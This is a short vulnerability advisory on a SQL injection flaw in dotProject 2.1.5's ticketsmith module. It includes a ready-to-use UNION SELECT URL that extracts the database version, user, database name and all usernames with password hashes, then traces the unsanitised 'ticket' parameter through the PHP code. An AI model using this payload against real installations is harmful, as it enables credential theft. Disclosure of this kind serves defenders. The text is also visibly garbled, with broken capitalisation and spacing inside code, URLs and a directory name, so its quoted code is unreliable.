DotProject 2.1.5 SQL Injection defects and repair

Title: dotProject 2.1.5 SQL Injection Vulnerability

Author: sherl0ck _ <sherl0ck _ [at] alligatorteam [dot] org> @ AlligatorTeam

Developer Website: http://www.dotproject.net/

Tested version 2.1.5

Test Platform: Debian GNU/Linux 5.0

Example:

URL:

Http://www.bkjia.com/dotproject/index. php? M = ticketsmith & a = view & ticket =-2 union

All select

1, 2, 3, @ VERSION, 5, USER (), 7, 8, 9, 10, 11, 12, 13, DATABASE (), group_concat (user_username, 0x3A, user_password, 0xA), 16

From dotp_users

---------------

Defect code analysis

---------------

Modules/ticketsmith/view. php

...

11 $ ticket = dPgetParam ($ _ GET, 'ticket ','');

...

219 $ ticket_info = query2hash ("SELECT * FROM {$ dbprefix} tickets WHERE ticket

= $ Ticket ");

...

Functions:

Schemdes/main_functions.php

...

283 function dPgetParam (& $ arr, $ name, $ def = null ){

284 return defVal ($ arr [$ name], $ def );

285}

...

Modules/ticketsmith/common. inc. php

...

50/* get result in associative array */

51 function query2hash ($ query ){

52

53 $ result = do_query ($ query );

54 $ row = @ mysql_fetch_array ($ result );

55 return ($ row );

56

57}

...

22 function do_query ($ query ){

23 $ result = @ mysql_query ($ query );

24 if (! $ Result ){

25 fatal_error ("A database query error has

Occurred! <Br> ". mysql_error ());

26} else {

27 return ($ result );

28}

29

30}
Fixed: filter the index. php page.